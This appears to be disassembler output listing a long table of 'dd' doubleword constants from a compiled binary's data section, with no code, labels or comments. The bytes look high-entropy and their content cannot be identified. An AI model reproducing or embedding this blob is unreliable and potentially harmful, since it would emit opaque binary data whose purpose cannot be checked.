		dd 41E0937Bh, 833B85Ch,	0F01C21EBh, 0D671C1h, 8AAE6582h
		dd 0B3E0FF56h, 0C83F906h, 0C28C094h, 1C19E4E3h,	258CB160h
		dd 7B56C186h, 0E9113021h, 0C16F2200h, 0EBFF111Ah, 64338300h
		dd 91E2A39Ch, 0E3463034h, 3F207D28h, 17C04A07h,	1F2680D8h
		dd 21546008h, 583F0F9Ch, 678E2D60h, 0C79C760h, 0FA9477BBh
		dd 7E008DA1h, 0DCE5AB78h, 0F87667C9h, 0FE9A376Dh, 644B021h
		dd 410C7D2Bh, 964DF61h,	0BC21C2C8h, 0B06306ACh,	0F4CF17E8h
		dd 159D3901h, 9B0C24FDh, 83E3B050h, 3011E8B6h, 0FC1081F4h
		dd 0A10193DCh, 0BF511789h, 0BEF5FFFBh, 2180F0D1h, 4A16B3Eh
		dd 0DC60C77Ch, 0F9E78749h, 0D394301Dh, 6156D259h, 330E66F4h
		dd 0E01568FFh, 3157FCE0h, 0A8F85420h, 0E29F0011h, 1BCC89ECh
		dd 17148FC4h, 0E8CC5C0Eh, 0AE7D8CEAh, 7028C00h,	0C701C4Ch
		dd 0B5140ADAh, 4B700D5Dh, 1785B601h, 0F5704871h, 6F4288h
		dd 0FDA42FA1h, 5AFFD27Bh, 79BDDCA8h, 0CEA2EF01h, 443784B9h
		dd 21511980h, 39457B91h, 8C094200h, 89CA1DCEh, 0B0E950D9h
		dd 92028C0Eh, 0B91782A1h, 10F219BEh, 0DA16A45h,	4457D172h
		dd 41F2E1h, 846186Bh, 0B17D2906h, 3EAEBE70h, 60874606h
		dd 900DC4B9h, 7C09F279h, 0CDCD822h, 2CFCD28Bh, 0D36020C9h
		dd 0D0417319h, 0C0344EE5h, 9D606138h, 9493AC01h, 0CCDA48B7h
		dd 8113D891h, 1787A195h, 108631E6h, 0A16D3Ch, 76A76F26h
		dd 70F1953Dh, 5303104h
		dd 448EE16Ch, 15C0F388h, 88CF2007h, 4E0065CBh, 81A931Eh
		dd 7A6DA22h, 257E745Ah,	0BF5F1049h, 7050E4E0h, 3CA107DAh
		dd 49E1812h, 991786A1h,	108BBEh, 0BDA19641h, 3B256DDAh
		dd 7B32B7h, 46747626h, 0EB0902CAh, 3818512h, 0C0B56408h
		dd 7B97C182h, 60406346h, 0C16B031Eh, 997DF5BFh,	0DA317175h
		dd 56F621DDh, 11C7F057h, 9D3721F2h, 8F84119Ch, 1C98A0D5h
		dd 9242361Ah, 0C4A60000h, 7F0B67EEh, 6B008D3Bh,	0CD10A17h
		dd 633336F0h, 0BF8F295Ch, 94D0F4F8h, 4C91AB60h,	600470h
		dd 2EB9C77Dh, 14CA81F0h, 0D444730Fh, 3777403Dh,	24495Eh
		dd 4D9A02B8h, 669C50A1h, 8085513Bh, 0CA79BFD2h,	9027B89Fh
		dd 26C4678h, 7D20064Bh,	10AC31B9h, 2E06B3A1h, 4243923h
		dd 8C28AF0Eh, 7700E30Ch, 8F9613D1h, 0AEC6FBh, 0E83EA6C7h
		dd 0C4E0FAFFh, 22F21207h, 4570BBDCh, 199A03h, 9C84FC1Fh
		dd 669D8ECEh, 85268F05h, 0EC08060Bh, 0C187C0ACh, 0BB467B92h
		dd 2321E732h, 58365CC0h, 794E3A01h, 0C959BB11h,	80AE4891h
		dd 7B90C189h, 0C074996Bh, 6FC16E21h, 0C4C71A00h, 4BC3F0E2h
		dd 1CA315CEh, 1B0BF096h, 2D007341h, 67E0C608h, 0EC63BF03h
		dd 0C594F5CDh, 275C884Eh, 0FC4043FDh, 652905h, 58A5D71Eh
		dd 0C8B6D8ADh, 18FBA714h, 40C201D4h, 31F3A29Ch,	99DF7DF4h
		dd 65FD00E0h, 85F73634h, 0FED8A22Fh, 3368001Eh,	0F60C4AA1h
		dd 997F5034h, 12D6B80h,	46420C81h, 0CC089CE6h, 2C2B3724h
		dd 3B241C80h, 384FD941h, 0F9802C6Dh, 0E7E09805h, 0EF18DB6Ah
		dd 2E38856Fh, 0BF9E0002h, 6D13D44Ah, 0D9C3D69Bh, 80C0A2EAh
		dd 8B3FC5h, 80103357h, 0E8FF9A2Ah, 0A37DF301h, 0F82B4D8h
		dd 36254886h, 4EB08147h, 31E08BFCh, 5E9A1000h, 0CA5155F6h
		dd 0ACD35170h, 4BBF2980h, 486D0BFAh, 0ADBA9201h, 0C27D87D2h
		dd 9B5D218Bh, 4F458410h, 806EA23Fh, 0E98902BEh,	2A2EF4F0h
		dd 38CEB1Dh, 0F9851BAFh, 78CBEF52h, 0CF4E1888h,	801D30F6h
		dd 46014A9Eh, 38FDC6AAh, 33F14C21h, 0CEA1C0h, 3AFF9D8Ch
		dd 0CA7DB28Ah, 0D87F9300h, 2D57FD74h, 0E1633042h, 0DB900D89h
		dd 13C3D300h, 0DF0CA1CEh, 30A6EE82h, 72B94937h,	10009D9Ah
		dd 4553A44Fh, 12BE664Ch, 275D42AAh, 8C2330A4h, 3481062h
		dd 55CC07D8h, 19D0841Eh, 0CF7A0Eh, 0A8943C69h, 0FE48BFA5h
		dd 2128E860h, 354F7A1h,	86F27D6Ah, 88B83A7Fh, 84A9931Ch
		dd 6D0EE803h, 890CE8FAh, 9911378Ch, 0DB590094h,	48D173D2h
		dd 0E4E28D34h, 24653Eh,	0AADFA5B0h, 7BBAD7BBh, 0DB2F00FCh
		dd 0F7A26C2Eh, 4612EC56h, 7C209AB8h, 5C264C8h, 68432978h
		dd 8A80024h, 0BCBD6503h, 0E62D4000h, 35DEAFF7h,	7FD3F89Eh
		dd 0F074904Dh, 0F44118EAh, 1E6B19Bh, 0D5180B00h, 0AF1F113Ah
		dd 2D5A05D2h, 0C89ABDF2h, 8501C9E4h, 0A27F20CAh, 49DC247Ah
		dd 617B4242h, 0EE1D1281h, 0A815980h, 3FCB4FB5h,	0F40EE570h
		dd 0C08E5B2Ah, 2DF5426Ah, 5630597h, 97E8419h, 7490DAA8h
		dd 59CED59Bh, 0D1A74082h, 1AA41Eh, 0E420456Fh, 95A2DF3Ch
		dd 29AF9B30h, 84B82Ch, 0B479DE8Eh, 0BB3443E9h, 380CE06h
		dd 0A039D5h, 0BE0BF63Eh, 7DEE92DAh, 71DFDB30h, 48CB23FDh
		dd 0BE0C38D3h, 1219DE25h, 8C90A007h, 0D860E029h, 0CECC9Bh
		dd 9C6C032Ch, 478496C3h, 9F00B9E8h, 578A22FFh, 4CFC5098h
		dd 0AC8064F4h, 42A4D047h, 8B563F00h, 53F62D60h,	2421C17Bh
		dd 0D4F37892h, 6C0F4EECh, 0E8F59513h, 0D9678F80h, 20E288A2h
		dd 0CF14C80h, 7804CB24h, 0F62593F2h, 0B0FBD893h, 18C7EDFh
		dd 45F1BAF3h, 0FC862A99h, 24B103C0h, 7DB000BFh,	0E2A347CEh
		dd 90820040h, 216689C0h, 40901BCDh, 0CC254638h,	0C22E0238h
		dd 48453358h, 168D864h,	8BF32AAEh, 0EC6FCE63h, 26F27823h
		dd 0A00330CFh, 0C1319AFh, 0CCAD12F1h, 8F000CFh,	0D8B126B8h
		dd 7E958207h, 0A2510733h, 61E668F5h, 4812E13Ch,	36C53561h
		dd 0DF2201D0h, 5B14D31Ch, 81C3899Fh, 9BEF199Dh,	3A0424AEh
		dd 0EA085F1Eh, 0C3D84081h, 1421355Ch, 9CC5320h,	14274770h
		dd 0CE005064h, 677A6BDDh, 5C26DC34h, 0D180401Dh, 0E94A25E5h
		dd 22582E5Ch, 0C47D2E98h, 887B6764h, 0B13BE8A4h, 1D359FDh
		dd 227C19BCh, 9C5CFE70h, 5E98400Ch, 0D79BC218h,	1C606619h
		dd 4469F98Ch, 0C81CDDD0h, 0C0379ACh, 957A2E4h, 0CA9F8091h
		dd 0ABC00D3h, 44D57F99h, 0FD052D35h, 956CCEA2h,	3BD2E883h
		dd 0DB924AA1h, 933D003Dh, 35E78AF2h, 0BC0CB007h, 5110D09Ch
		dd 4C25976Fh, 0A13A6886h, 0A3C4D689h, 20C21005h, 5EEA4AC0h
		dd 1DE23812h, 0F191A0D0h, 8CC40010h, 8D78D87Ah,	0F9005E9Fh
		dd 89439247h, 0D8F384Bh, 0D120630Dh, 0F85EE191h, 0E500499Ch
		dd 609A3161h, 5856CDBh,	0F6D4DE7Dh, 8A00809Fh, 4B40C87Fh
		dd 0FA203131h, 0D01BEF89h, 487219E4h, 0C0D36607h, 1FB3F79Ch
		dd 6602AAA4h, 0EC490040h, 0B215A9A0h, 0ED00F482h, 3B834828h
		dd 170847EBh, 219BBDB7h, 7A6337FCh, 9C7A52C0h, 0E43500F8h
		dd 91EFDD8Dh, 4F7CD45Fh, 94994200h, 0F403B849h,	2F69C783h
		dd 8146822Eh, 87CE50E0h, 6B2BDE04h, 6888C77Dh, 0B844F87Ah
		dd 4437E814h, 50004A56h, 0E09C111Eh, 7E1C7E31h,	415F1C6Bh
		dd 771D00BBh, 0CA9A6127h, 0D953867Ch, 4C3E00ECh, 0B5FB03A8h
		dd 759000ABh, 3AA648C3h, 2F1CBD97h, 0CB490453h,	7FC8218h
		dd 0B344494h, 310AC52Eh, 0DE704E82h, 0C1EBCC40h, 0DF994814h
		dd 465858h, 819ED8ACh, 0B8295A94h, 91CEF00Ch, 4CEC917Ch
		dd 0DF1BC0BCh, 98A0E2h,	62546AA5h, 6BB6119Bh, 0D60357FEh
		dd 27176394h, 37B8F01Bh, 0A939C04Eh, 434A2859h,	0C1580702h
		dd 62605263h, 2084650h,	7A3619FBh, 74E43321h, 76A7CB00h
		dd 0EEB812CDh, 850E4CDAh, 0AA91F201h, 60614126h, 422C4679h
		dd 27409C76h, 73E4AFDAh, 0CAD8A082h, 259A0758h,	9214C765h
		dd 0F4C05546h, 0FD0F64F4h, 0ECCC26E4h, 0FB389FBh, 0F38A11A4h
		dd 0F5EC3E87h, 63B88057h, 0E901A83Ah, 790927FDh, 7180D994h
		dd 85E80A01h, 7F0C6AE2h, 78B01969h, 1F371606h, 71742094h
		dd 50F683Ah, 4F0BA086h,	9507001Eh, 0A420A46Bh, 0E15F00FCh
		dd 4EC177ACh, 0F200AAC4h, 17A94CBAh, 0CDE3DCh, 0DD65AF88h
		dd 0D8282C90h, 0CC13A5FAh, 0CC00208Ah, 0FC48ED1Fh, 9DCD070Dh
		dd 5A124F6Ah, 436460E0h, 0B7005D8Bh, 0C9708505h, 9478D4DFh
		dd 1DFE0030h, 5F559839h, 0DB0DFD02h, 6461F5B4h,	0D89C168Ch
		dd 0FB0900A2h, 0A37A0D39h, 9FBEC900h, 4E276ECEh, 0B4400C1Ah
		dd 36715F37h, 390022F8h, 16F0B081h, 947FF605h, 0DC4C83B4h
		dd 90B2080Eh, 0B01D48C0h, 55D36A02h, 0C478F6E8h, 0C97D26B0h
		dd 0DA4B4054h, 0F4F8EC1Bh, 3028544h, 485057C5h,	0F1E310B6h
		dd 0AB3D191Eh, 0BFF7CB40h, 75F347D8h, 0C401077Bh, 43D03145h
		dd 0E4FCB3DBh, 0B6018460h, 0A5330134h, 2DDC4520h, 4A870921h
		dd 0A4028B95h, 0CB602605h, 4CB073CAh, 0A600E4Ch, 0E0CC2523h
		dd 37F0E980h, 30F189ADh, 1FEC8165h, 0CB0A270Dh,	0D43E28FFh
		dd 0D3C41600h, 45BF4Ah,	9DCE19CFh, 9B3055D2h, 18D849h
		dd 32F26FBBh, 230420h, 0EB956128h, 0F3A29434h, 4A715C13h
		dd 7C3A3801h, 405F7C4h,	408252DCh, 0E8713FFh, 5C5E4801h
		dd 0F64BC405h, 3468887Eh, 25000C91h, 121E53B9h,	50ED0135h
		dd 41896E65h, 73C7220h
		dd 3CCDD4B4h, 71802780h, 736401C1h, 1141359Ah, 0DA003092h
		dd 0D1624719h, 3C239CC1h, 8C52B207h, 0EA192180h, 82DCDC1Fh
		dd 3BD4716h, 92CA0D00h,	0A244FDD2h, 0C06448h, 4E87940Ch
		dd 9E26095Ch, 0CF52F53Ch, 0C08C3824h, 649B483Eh, 2D36160Ch
		dd 22008E49h, 0E7C938D3h, 6D9BF7h, 0DED8476Ch, 0B880A062h
		dd 21C32F5h, 0D255BCBFh, 7A984CABh, 0EAFE0023h,	0E41A0E42h
		dd 2702EBB2h, 19DA98DDh, 0C200410Bh, 0F9A9CE0h,	22AD4830h
		dd 0FFEA7383h, 650C05A0h, 1209137Ah, 44929404h,	9389007Ch
		dd 4FDA2E03h, 0BD02F4D9h, 33DEB0F3h, 58460D4h, 0A5CE01A1h
		dd 0F659C07Fh, 2DC4957h, 1840BB98h, 0E812630Eh,	288C964Ch
		dd 0A3D800A2h, 6F938E01h, 6D1EBE57h, 75C0334Ah,	399C83FEh
		dd 0E6449013h, 44372881h, 84D24484h, 744A59h, 768CDD08h
		dd 18189AEh, 34C9F75h, 2922C157h, 3CB40054h, 6ACCE861h
		dd 98E8A386h, 0C48BF9Fh, 1296FA5Ch, 2A189230h, 7CA11BD3h
		dd 0A0E7C39h, 0B733902Ch, 0B0A06FB8h, 8C9B05DBh, 0F7A13938h
		dd 6F950D12h, 90BB3001h, 901754F5h, 21798052h, 0F6151805h
		dd 90228A59h, 48B4F2C0h, 8180489Bh, 0C8879E30h,	9D78B400h
		dd 51BE32F0h, 468F0350h, 959ADBB5h, 0BD52F9E8h,	11570202h
		dd 441D12B8h, 0A13D04A8h, 828FA253h, 0C89A7F44h, 2C0904C6h
		dd 64EA16C1h, 0CFFA005Ch, 0E51CB76h, 2E00C6C2h,	0D94718CCh
		dd 30A2F319h, 0AA499A1Ch, 7A00020Bh, 180152DAh,	7030948Fh
		dd 209E4AE4h, 5E4D2224h, 0D4DC6901h, 17D3336Dh,	0B5819828h
		dd 8028346Fh, 0B2376211h, 9CA5A8h, 214E8085h, 81D7510Eh
		dd 95E4BC06h, 59D49Ah, 664217C4h, 0F34B9020h, 286E5500h
		dd 141A41D1h, 43093E58h, 0A2952980h, 476372FEh,	0FC8F7C99h
		dd 71706077h, 0EF39698h, 4ECBEAD7h, 6AEB6200h, 1658D28Ch
		dd 7442860Ch, 4882F039h, 0F20138AEh, 0CD2888EEh, 43234h
		dd 6E14C92h, 1E427923h,	89AE1D3Bh, 94984D73h, 91003518h
		dd 0E9555B06h, 7297FCh,	9B22BAD0h, 278329B8h, 46408C96h
		dd 392CB085h, 56B89ABDh, 0D20B4F00h, 7EBFD409h,	3714CA00h
		dd 6CF962A7h, 0FCCB4CB1h, 88710301h, 606DF27Dh,	49013E50h
		dd 2418FD14h, 1820500Eh, 5720022h, 1719AFA7h, 0FD33D3FCh
		dd 935C958h, 94324D10h,	0E4332068h, 5552070Ah, 3C00808Dh
		dd 0EC79FA0Eh, 0A6CF0BAFh, 78683485h, 0D600AB01h, 8C191832h
		dd 0A4074Ah, 0C612878Bh, 93CEA2DEh, 2E07FFEEh, 6B8AFC37h
		dd 3E136420h, 8C052E82h, 0FE070078h, 58DE043Bh,	3EB88358h
		dd 70F8AEBDh, 61F63202h, 168447Eh, 0BB0F9DF2h, 0C59C03F1h
		dd 2DC020B8h, 233CF5E8h, 8D633E0Dh, 80142F56h, 74454460h
		dd 4AB5000Eh, 95F22666h, 0A496DF7Dh, 0AC485247h, 0EB3039D8h
		dd 0D2649DB9h, 3300397Fh, 0C5EA6284h, 48254647h, 7B0E24B1h
		dd 0D3E2A791h, 88AB43FCh, 8700CCC4h, 9EAE1170h,	94669Dh
		dd 4A3423EFh, 93AFD0F2h, 8BC49A48h, 330E28h, 83808758h
		dd 0CD5B0057h, 0C7EB1A2Ch, 0E8D29FC2h, 0F5A26005h, 0E6B7CC1h
		dd 48B32D20h, 0B4827420h, 3DC04E7Eh, 0E4002FF9h, 9C315837h
		dd 92A70DBh, 3D323FEh, 0D4B0B052h, 2530AFE4h, 0F0A7B1F4h
		dd 68970260h, 156A18D1h, 2400B0D1h, 514E6E4Ah, 1E1A2458h
		dd 9180025h, 2171A7D5h,	27B44859h, 7D089125h, 0B5FC8DD5h
		dd 0F9170CAAh, 0E0944048h, 0D84F7807h, 6F10E99Eh, 17FC86C9h
		dd 29A1B23h, 7F54F65Ch,	720218C6h, 7A42536Ah, 0F198A2E4h
		dd 97B89034h, 3823000Bh, 0B5C1C93Fh, 9A0A724Ch,	98573467h
		dd 6A328Bh, 1C693728h, 0D2871349h, 0CE4C21FCh, 5466E28Ah
		dd 6554CA00h, 8DEFF736h, 49BF0BF8h, 8880A963h, 7DDACB9Bh
		dd 10AC7C27h, 4F420Ch, 8A2DC339h, 4CBB1569h, 0CF970F3Bh
		dd 50FD100Ch, 0D35F17F5h, 1E00D5FEh, 43898CACh,	0BE24C220h
		dd 5F11CC07h, 22879639h, 0C52B0916h, 0D80C0005h, 0AE8125A1h
		dd 971D2315h, 3C951E94h, 72C80943h, 0C021BA19h,	0E50E7D5h
		dd 16D303F3h, 384641BAh, 554CBD00h, 0F21AD9C2h,	93F700EAh
		dd 6A1DC8ECh, 0C0239C5h, 0F6D30130h, 0E2C0447Dh, 8C4D5D1Fh
		dd 0ED22104Ch, 2342700h, 0ADF23A67h, 451400E1h,	5ABCABA6h
		dd 26052AA1h, 9CEC7AC2h, 841FC081h, 0B0EDFC20h,	0F64401C8h
		dd 0CC7A0CA5h, 78202016h, 0CA81F891h, 4701D2A6h, 6780C072h
		dd 76B2103Dh, 1647E448h, 8820F42Ah, 1285D14Eh, 8979FBh
		dd 2612F95Fh, 6D017E08h, 90D30BF5h, 22BB92Fh, 1D4DD244h
		dd 8DB0C48Ch, 0DDD95901h, 0C26331B5h, 0A46691FDh, 0D831313h
		dd 44897814h, 28B248h, 49BD7727h, 0C422E6Ah, 0F531B8BBh
		dd 1D5B6E68h, 0AE23D447h, 42254830h, 34762850h,	0C2FB0770h
		dd 0E70C4A2Ch, 325DC00Dh, 0BB5C3BB3h, 902600E8h, 30BAF062h
		dd 7C3A167Ah, 2224C8DFh, 45D70803h, 85CE8FFCh, 0C61D0882h
		dd 12B507D0h, 802092C3h, 46CDEEDEh, 47805899h, 552AC2FEh
		dd 224F0095h, 0B16F2724h, 58BEDBC3h, 3D480DE0h,	42890C0Fh
		dd 0E461E55Eh, 410284A6h, 0FB159B52h, 9085E01Ch, 12EE7DDFh
		dd 271D4202h, 0ABD7F01Ch, 981C6710h, 3A9FA59Dh,	0D3D5DF0Ah
		dd 129FA404h, 0F28090A8h, 0B0CB5999h, 0BAC7CA00h, 4E786540h
		dd 8D513C6Fh, 7100E43Bh, 20FF9A12h, 3AE8D4B6h, 0AADF2101h
		dd 1AD30D67h, 25244072h, 0C95F40E0h, 121DECB7h,	2C81FDBDh
		dd 299EA3D6h, 0FA00B073h, 533072E5h, 0B09C9BBDh, 33E7E83h
		dd 77D6C068h, 92DC00BFh, 66848ECEh, 0C224A2CCh,	0E111145Ah
		dd 0BCBE5700h, 2C8B1363h, 8953F618h, 68C57D61h,	817891E4h
		dd 72467D8h, 4A70E495h,	2B8B610Fh, 19E86004h, 24823830h
		dd 3B275DADh, 285E997h,	9C934C80h, 8CA22478h, 0CCDBA860h
		dd 5950C619h, 4820EC18h, 42AC90BAh, 1FCC225Eh, 805394DFh
		dd 1B9193A1h, 6029CABh,	9DF0BB9Fh, 14E070B1h, 0F88366DFh
		dd 136090C0h, 4800061Fh, 6CB4A70Dh, 14CB4B32h, 1434E388h
		dd 0F9AA007Ch, 49A5DCBCh, 0DB05946Fh, 2B6D4F68h, 0F6360080h
		dd 0E804256h, 0A07845FEh, 2203C2EDh, 90944B31h,	0C36DB9E8h
		dd 7924B100h, 7D874247h, 4A095C4h, 0D86D1463h, 850DAB00h
		dd 1995FF7Eh, 9A290215h, 1D45334Dh, 8A007052h, 0E77EA942h
		dd 1284414h, 0FE111080h, 0BAF92018h, 1A0EF251h,	0E281D8D3h
		dd 78A8A576h, 53C8013Ch, 2D2CBBBh, 0D3A8482Fh, 0AB9288h
		dd 0DE9DFAF0h, 85352A4Bh, 4AF8F30Fh, 3EC5CFF9h,	0E1BFF00h
		dd 147D4CDDh, 0D4AC8311h, 4432413h, 0C0F32790h,	0CEAE909Ch
		dd 0D9577116h, 0E110C88h, 0A5F7A128h, 9BAB8562h, 1F009C52h
		dd 6E7F5249h, 980D70FAh, 123B0185h, 0B6EB4AB0h,	0BAC0808Bh
		dd 0DFC42579h, 25B8E29Fh, 74C81D2Ah, 0A0F644F5h, 0F882416h
		dd 721701FEh, 2096B5CEh, 971612D1h, 4C101E78h, 22184C48h
		dd 3F16007Fh, 6DC027FDh, 2F2C6502h, 0B105FB34h,	0E88C7642h
		dd 20BD5C9Fh, 3490D52Dh, 4600630Ch, 200570A1h, 73F5B524h
		dd 7AF290B0h, 804100A9h, 1D62BDD7h, 4B01BF0Ah, 0D6CA3EB7h
		dd 51704D9Dh, 70B4E57h,	40812018h, 0F044C21Ch, 66559A13h
		dd 3191406h, 2C7C44F0h,	6158B900h, 4E1FE7B2h, 219E1E2Eh
		dd 47990239h, 0A0DA34E0h, 0B7043B00h, 0C5C0224Bh, 542600C6h
		dd 3F305E63h, 0CE0FE49Eh, 0B399361Eh, 0E8B23424h, 3771B900h
		dd 9E455034h, 270107B0h
		dd 7C047935h, 8052C3C2h, 0A646003h, 88E54A56h, 21F879E4h
		dd 19E9691Ch, 58F63280h, 257AEFh, 942BC71Ah, 0B8812A23h
		dd 0F5220202h, 0A0A36110h, 0BA2C2D20h, 801A00B2h, 69DA7894h
		dd 92002948h, 82886C51h, 3C704AC2h, 0FC8933B8h,	444260Ah
		dd 80885538h, 71F364ECh, 78BE689Bh, 702305D3h, 0C8379652h
		dd 81A01570h, 0F5249D18h, 6447E87Fh, 0A5601907h, 311A4D8h
		dd 9CE49A38h, 0C0C4F27Dh, 8541EA2Ch, 4ABF2700h,	9ED84E91h
		dd 8DC9141Ch, 72CD81Ah,	284AC84h, 168C1841h, 0E7121878h
		dd 6805A2F9h, 10A2B7EBh, 59642C07h, 996EB0D2h, 0FE024C1Dh
		dd 4A18FA97h, 0EA7C666Ch, 6F9E005Eh, 36D6A449h,	0F700788Eh
		dd 6B799724h, 0B298F74h, 0C620E23Eh, 2125A8C1h,	10FBF564h
		dd 2A26A9Ah, 0C3248328h, 14DAF79Eh, 0E68E5503h,	0A0651864h
		dd 95D7D312h, 0C865580Eh, 8674C1BEh, 1707D1Ch, 561F5FA0h
		dd 0D9E0B473h, 0C48400AAh, 361B94D0h, 0DD74664Ah, 0BE02204h
		dd 0A4EC4EBAh, 0B0FB3281h, 2D81E0EBh, 47635E00h, 2BF3C30h
		dd 20E4150Ch, 38008CF5h, 0AFE67E27h, 70003F6h, 6602E30Dh
		dd 0B39FD360h, 7FFC0074h, 55156CF3h, 1F7A743Eh,	48654285h
		dd 4E2C562Ch, 93D823B8h, 162A3EE0h, 91146A00h, 668724D3h
		dd 20C90AC0h, 1FE4ADFCh, 0B4FD1326h, 9A4EBD9Ch,	86009C5Ch
		dd 5BE256CAh, 0AAFF00F7h, 8DEC114Ah, 0FC0BB8ADh, 80F83426h
		dd 0E3A3244h, 0CE75040Ah, 0A213F08Ch, 23670170h, 4EC73DEFh
		dd 0E802F7C4h, 0CE010065h, 0AE8F1FB2h, 887CC203h, 0C0C09C5Ch
		dd 7692E5C0h, 852D1E42h, 2C97CBFBh, 6D5B2202h, 84BB9CC0h
		dd 390AC17h, 51EB6430h,	0B9B3001Ch, 8494E8BDh, 3901A0DCh
		dd 25EC6968h, 6C28F890h, 561E49DCh, 9EE18880h, 0CE00CB3Fh
		dd 0D7C22673h, 2CB181FBh, 40749B93h, 63EB97DBh,	9F904B07h
		dd 17D0CE71h, 5B7D6ADDh, 9BB046C7h, 0D20731FDh,	8CD5B258h
		dd 0B259060h, 40E4BC73h, 51BD4CB5h, 49007B7Eh, 69FE6AD9h
		dd 0A0A231h, 0ECE5D65Bh, 8D32395Ch, 0D72C109Dh,	751200BBh
		dd 1103958Fh, 70FDF2C2h, 8600CB16h, 0D71639Ch, 261E17BAh
		dd 0FB6FC69h, 0FAC1649Dh, 68DC7DF1h, 6F8944h, 0C6568E78h
		dd 127914BCh, 58003433h, 0B89AA050h, 4700960Fh,	5DE62E37h
		dd 0E07428BEh, 0D3393852h, 0C60434Fh, 0EFA89C2Ah, 409984A5h
		dd 662C1980h, 0EE0DE1F6h, 25511236h, 0A9D0A4F4h, 92F8BD00h
		dd 89ADBC8Ah, 19F7378h,	728B1E94h, 0DD2E557Fh, 7A8812D5h
		dd 44E00368h, 0C31D0C82h, 9033F9B8h, 76149A50h,	55D3D418h
		dd 3F8A5FEh, 0F3BDB33Ah, 3A1B839h, 0C0202A87h, 0F53685h
		dd 137EB331h, 79849BECh, 63E1A500h, 511A53FDh, 2216268Bh
		dd 0B62B1278h, 88FF21F0h, 249E163h, 6084A2A4h, 25FEFD88h
		dd 281377A9h, 751E3CA0h, 253D4B09h, 63FB8071h, 16E64648h
		dd 0F928A7h, 0FF9DC9F0h, 7651961Dh, 0A0492ADCh,	0A8D01094h
		dd 26F90079h, 56F28BF6h, 700A3B0Ah, 0E434086Eh,	30794540h
		dd 7E1EA26h, 78A4E911h,	73438167h, 51BF30D6h, 0AB16D327h
		dd 0E0782E48h, 58A98DD8h, 0D2BD14D5h, 0EA8610FEh, 120008B5h
		dd 0EF6ED849h, 3FE61E81h, 0C109649Ah, 0C0F9CF0Fh, 0C80BE300h
		dd 0F0A12734h, 9F9A00E8h, 5C095A06h, 0ACA019E6h, 9450F332h
		dd 9B4BA3B2h, 0C2DACC90h, 0D0B23536h, 0C878B56Ch, 4060376Ah
		dd 937FA391h, 0C0EE7488h, 6F24942Eh, 2B7F3016h,	3F53412h
		dd 0FC350604h, 0CC80D8ACh, 0FEE5D951h, 9495D803h, 0FCFFBF5Eh
		dd 0CB08E4ECh, 80BD4537h, 0BEEAA6CAh, 2727A09h,	23F662B8h
		dd 0D4767742h, 0F32838A7h, 0FD1B078Bh, 0D105460Dh, 0D5F7A61Ch
		dd 756092DCh, 0F02C44C8h, 1230995Ch, 0AA1C0285h, 0D45201D2h
		dd 185F4228h, 7185498h,	0F6E0AED7h, 92649C57h, 266C009Ch
		dd 0A6111A46h, 49BF9F1Eh, 0C1903D9Ah, 0F4F8D50Ch, 0E2B5019Eh
		dd 8FDD0E57h, 7CD460CAh, 12AAE73Ch, 20F1A89Fh, 9806F030h
		dd 7C406ECh, 0B8B1F0C2h, 3BC017F3h, 7960A6Dh, 57FC9397h
		dd 0C7301C0Ch, 445352Eh, 64CE7F8Bh, 84A41E50h, 1F5D499Eh
		dd 0BCF91F81h, 9676011h, 0E834F429h, 387FF800h,	1FD665Bh
		dd 7A5C9C60h, 80954317h, 0D2F71168h, 268E533h, 2014D54Bh
		dd 38E8E7D1h, 0F200595Dh, 83540A47h, 0A49978F5h, 0CC848090h
		dd 0A8E260A6h, 84AF220Fh, 8B128098h, 0D400199Dh, 0B7DD0B57h
		dd 0B1C0F86Dh, 742028D0h, 504CBC02h, 3000AF85h,	0D8395624h
		dd 2814518Ch, 1D80E035h, 527EEA3Ah, 0A23C95C7h,	159901ECh
		dd 57507925h, 8AA81C30h, 0BD1E80E4h, 15409936h,	88A3CA78h
		dd 83332EBEh, 0E72457h,	485206C5h, 909FBD3Dh, 531F18h
		dd 2AE4E70Eh, 0C54C0A9Dh, 0E88ABF32h, 15079C9h,	7AF3C027h
		dd 9D047CE6h, 39455CC0h, 7F4EA8h, 41B64D9Ch, 0A4D2F1F3h
		dd 90373828h, 9092D42Fh, 85225Ch, 437A0B1Fh, 2D41B464h
		dd 0CF57F400h, 9A09F30Ch, 0EC360069h, 0B174C365h, 0C4A0E187h
		dd 0C9283AEDh, 971C2494h, 294274ECh, 601979F6h,	0DCC31h
		dd 21697548h, 644DD127h, 1FFCB502h, 0C0C356E2h,	3183D58h
		dd 2E0BF612h, 2C345BFh,	209FB5E9h, 0CF0F7E08h, 8163BD0Fh
		dd 0D9B22870h, 700EC23h, 0ABB34D3Fh, 93005A90h,	669A03B8h
		dd 509F9410h, 89E5CC24h, 0FDC471E4h, 93EF10D2h,	0E7B3Dh
		dd 0CC269EF3h, 3FD62D5Bh, 2F76B258h, 44FCA27Ah,	0D61CA0B8h
		dd 1EA0913Ch, 81BE099Eh, 6698DD59h, 4C22A80Dh, 8481D70Bh
		dd 0EEF81887h, 8EF8030Eh, 97E6FABh, 7D1BB400h, 34BF5A97h
		dd 9FA126FFh, 3FF6000Ch, 5703B0C6h, 20CFBD2Ch, 880A1904h
		dd 7E0768A2h, 0B0DC437Dh, 60279B2Ch, 804D943Ch,	72D3010h
		dd 39F4B9EFh, 7907C17Ch, 352E16F6h, 2098C965h, 1C4F8410h
		dd 78DEC85Eh, 0EC721F8Ah, 9B0C0501h, 1C3C52F5h,	702CF78Fh
		dd 0ECEC8938h, 1566688h, 0B21B0D76h, 0D547BA58h, 7432D8ADh
		dd 9953460Bh, 0FB7809C4h, 783B40h, 0BA24816Ch, 9672D9A6h
		dd 86142EE2h, 5E5DD46h,	7544BF28h, 0A3320EC1h, 1960202Eh
		dd 7A0037E5h, 59FB036Dh, 111F8F09h, 9F02027h, 0F0F5ECA2h
		dd 6DB10062h, 4C934A32h, 0F0FC8274h, 1099192Fh,	3A362078h
		dd 2702ECABh, 0AEAAA222h, 29EDB882h, 0CF790068h, 31453430h
		dd 4B0CAFh, 0C0D023FDh,	0DA84F2A9h, 2BB7F317h, 0BC5CA408h
		dd 0F1210485h, 2668CC8Ah, 784C8600h, 0B40F4AB7h, 177DFE20h
		dd 80A7A308h, 2BB8B360h, 91408494h, 0F21004C4h,	0BB1400D2h
		dd 20542EB4h, 0A80BC532h, 0D12C9C73h, 7D880070h, 6D4C43ADh
		dd 2EA8EA4Bh, 0F0943E00h, 82EEF5A2h, 0CC15FC17h, 20104801h
		dd 0EC32379Ah, 174D3400h, 0CE5366Dh, 2F6F000h, 0E2015D55h
